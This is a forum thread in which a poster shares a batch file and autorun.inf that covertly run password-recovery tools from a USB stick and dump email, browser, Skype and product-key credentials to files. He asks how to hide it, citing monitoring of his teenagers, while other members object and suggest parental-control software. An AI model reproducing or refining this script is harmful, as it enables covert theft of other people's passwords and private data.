Completely Hide .bat Operation

[HungrySage]

my .bat file runs for maybe a second, but I do not want the user to know at all that the file has opened. My bat file runs a couple of programs in the background while it executes it in the foreground, which I do not want. What command should I enter to make the bat file disappear? I am running this bat file on a USB and everything works perfect with the exception of the visibility. This is my what my bat is composed of:

@echo off
title Opening_Bassim's_USB
start mspass.exe /stext mspass.txt
start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start MyLastSearch.exe /shtml MyLastSearch.html
start VideoCacheView /copyall "Streamed Videos"
start iehv.exe /stext iehv.txt
start ChromePass.exe /stext ChromePass.txt
start ProduKey.exe /stext ProduKey.txt
start DriverView.exe /stext DriverView.txt
start IECacheView.exe /shtml IECacheView.html
start faview.exe /shtml faview.html
start skypelogview.exe /stext skypelogview.txt

and also, do I need the @echo off in the beginning?
and lastly, sorry, at the end, how do I make it open my usb drive, what command should I type in at the end of the process?

Omg... Viruses again 

[HungrySage]

they are not viruses, they are monitoring tools to see what my kids are up to.

[devcom]

so why would you run all those password recovery ?

[HungrySage]

too see their emails, and who their friends are. Why are you asking me all this? anyways, any ideas guys?

[BC_Programmer]

It doesn't matter what the purpose is; if can be used for malicious purposes on any machine.

But to answer your query you cannot hide the batch file completely; at least not without learning another programming language...

[HungrySage]

I do not understand, what do you mean by another programming language? Couldn't there be a simple command that does so? If not, then how would you minimze my [file name].bat file?

[BC_Programmer]

minimize.. .wel that's a different story from hiding.

You would use the START command.

[HungrySage]

start and thats it? Does anything go after start?

[Dias de verano]

too see their emails, and who their friends are. Why are you asking me all this? anyways, any ideas guys?

Jeez I'm sure glad I'm not your kid, bub!

[Dias de verano]

Why are you asking me all this?

 


I don't want to help this guy.

[HungrySage]

its a different story when your kids do drugs and think that you do not know. That is not the only thing, its hard to keep teenagers in control these days. When I used to be a kid, there was no such thing as talking back to a teacher or principal. Its honestly unbelievable.

[Dias de verano]

Hungrysage, most of the people on here are teenagers! You sure ain't making many pals around here, honeychile.

[HungrySage]

Oh, I am sorry, I am not trying to start a fight, but that is my honest reason to do all this, and I just need help. I also hope that you do not support teens like the ones I am growing up in their extra curricular activities. Gosh, I just wish they could be good kids and do their homework. It hurts too see your child go beind bars, or god forbid your children dieing before the parent does, thats why I need to put up some restrictions and/or control.

[Dias de verano]

You sound crazy. Checking your kid's emails and spying on them is somehow going to keep them out of jail or off the mortuary slab? If things have got that bad, they have got away from you, brother.

[HungrySage]

well, I might as well fill you in on the story. I plan on monitoring their msn conversations, and the many idoits they like to "deal" with. With that done, I will not grant those guys with access into my house, and will tell them to get off of my property. Also, I will control who they like to visit, by finding out which ones are friends and which ones are pot heads. All this can cut down on their crack and pot related activities, and could possibly stop them from maybe going into jail in the future. It is sad that I have to tell you all the details, but I hope you understand. If not, in the future you will. Anyways, enough of my story, so how can I hide the .bat file, and also which command will get me to open up my USB drive folder?

[Dias de verano]

You're either crazy or deep in denial. Or quite possibly you're making it all up. Your kids are doing pot and crack and you plan to fix this with a batch file? I know Windows scripts can be powerful, but I don't think they can fix your family or your appalling attitude and long running obvious deep lack of parenting skills.

[HungrySage]

Wow, I don't know if you read what I am about to do with this bat file, but I have said it clearly in my last post. If you think that I plan to use this file as my only tool to raise my kid, grow up, your out of your mind.  I don't know how exactly this makes me crazy or deep in denial, because you are obviously are not a parent, and never raised a child. I am not in denial at all, because I am not thinking that they have drugs, but I have caught them several times before going to school. That is not denial. You obviously don't live in my shoes, so you have no idea what goes on around me. And please, explain to me, how monitoring your child and then stopping him from visiting the wrong crowd makes me crazy. Rather then answering my question, do you want more information on why I am creating this .bat file, then please, ask, I love telling stories to idoits. You may say that I have a lack of parenting skills, infact, you can call me whatever you want, but you cant blame me for trying my best to raise my kids.

Grow up and learn some respect

[BatchFileCommand]

Okay, lets settle this. HungrySage. If you're kids are doing drugs. Give them a lesson the hard way. Discipline them. But instead of viewing there email. There are protective parental browser things that give you a daily report on your kids browsing history. If they are really doing drugs. They will keep heading down the wrong path. The reason parents have trouble raising kids is because they can't relate to them. Teens these days have a completely different mind set then teens back then. You have to be able to relate to your kids to get through to them.... Enough said.....

[HungrySage]

Probably am going to have to bring back the curfew and a few other things as well. You are right, I will stricten the rules heavily. Generations change so quick 

[HungrySage]

There are protective parental browser things that give you a daily report on your kids browsing history.

There is that, but it doesnt stop them from chatting to the wrong people through msn and facebook. Do you think my password recovery is the best solution?

[BatchFileCommand]

Please, don't double post. Password recovery could be the best solution. But there are other things you could do. Just google it.

[HungrySage]

hmmm, going into the user file and going into contacts, and clicking the email address gets the history, but the saving history feature is not on, so no history is saved. I have to turn that feature on, and I am set for the msn problem. Then comes the rest. Is there a possible way that could only require the user to plug the usb in to their computer, open the usb, and all the applications come to work?

Sorry for the double post, I just didn't know how to quote something after posting something before. BTW, this is how my autorun (autorun.inf) setup info looks like:

[autorun]
label=Bassim's USB
icon=Cruzer-Micro.ico
open=Opening_Bassim's_USB.bat
ACTION= Open Bassim's USB
 
And the .bat file (Opening_Bassim's_USB.bat):

@echo off
title Opening_Bassim's_USB
start {all the applications}

The problem with kids now days is that instead of the parents standing up to the kids and actually being a parent they leave the tv, comp, radio, or some other such device raise their kids for them and then wonder why the kids turn out the way they do.

If your kids are doing things they shouldn't be doing the as a parent do what you should have done in the first place. Take away the computer. Ban the friends from the house. Put rules in place and enforce them.

Like Dias pointed out a lot of the people on here are teenagers but I however am not and I have two kids. They have rules that they have to follow if they don't they receive punishment for it. As a parent I also except full responsibility for how my kids behave. If they constantly do things they shouldn't then who's fault is that? Mine.

If you are just wanting to monitor what your kids are doing there are plenty of off the shelf programs that will help you do this.

Type in your IP on address bar, enter password, then go on the website it brings you to and enable internet on certain computers for a certain time.

[Geek-9pm]

Skills in human relationships are much more important that skills in computer technology. The needs to be a level of trust and understanding between people that it should not be necessary for either to do something significant in secret.

IMO, a parent could explain his position to his children if a firm, logical and kind manner. The children would understand that the parent is has good intentions and not going to give out big punishment for a small crime.
But, is some cases, the patent just has to take control of the situation.

If you network is on a router, you can use another PC as a network tracker and keep a record of all the activity of the other PCs on the network. This is often done in a corporate environment with full justification.

You do not need to write programs for this. Others have already don it.
Just Google on 'Parental Control Software'
and get lots of help.
Wait, I will do that for you.

That's some AMAZING skill there! 

[HungrySage]

Wow, that google thing makes me look seriously lazy. I have looked into a couple of programs and the idea of changing the amount of time a computer can go on the internet, it is all very helpful. I have implented many rules and I am getting  faces, but all will work out soon. I can't eliminate them from using computers, because one does his homework . Thanks for the advice, and not calling me crazy like the other guy  

[Geek-9pm]

You are welcome.

By the way, I was the teenage son of a seriously loony control freak father. Just like the guy on here. He was always supposing that me & my sister were up to no good. I am also the father of a boy and girl. We did our best to bring them up without repeating the mistakes of our parents. Trusting our kids. Respecting them. The result: my daughter is now 32, a senior geriatric nurse and the mother of 4 boys. My son is 30 and is doing a masters degree in media studies. Neither is dead or in jail or addicted to drugs. Both are very well balanced. So please don't tell me that I don't know what I am talking about.

Wow, and you are still going at it. You need to relax, and respect others, and seriously consider what they are saying. Nice to see your kids raised in a moral conduct. Its just hard if you don't have a wife, and you have to go to work everyday, fearing something might go wrong with the kids. Time is my biggest enemy, and its that I have to take more time out to spend on both of them. My hours are bad, and it brings up a big gap. If only...
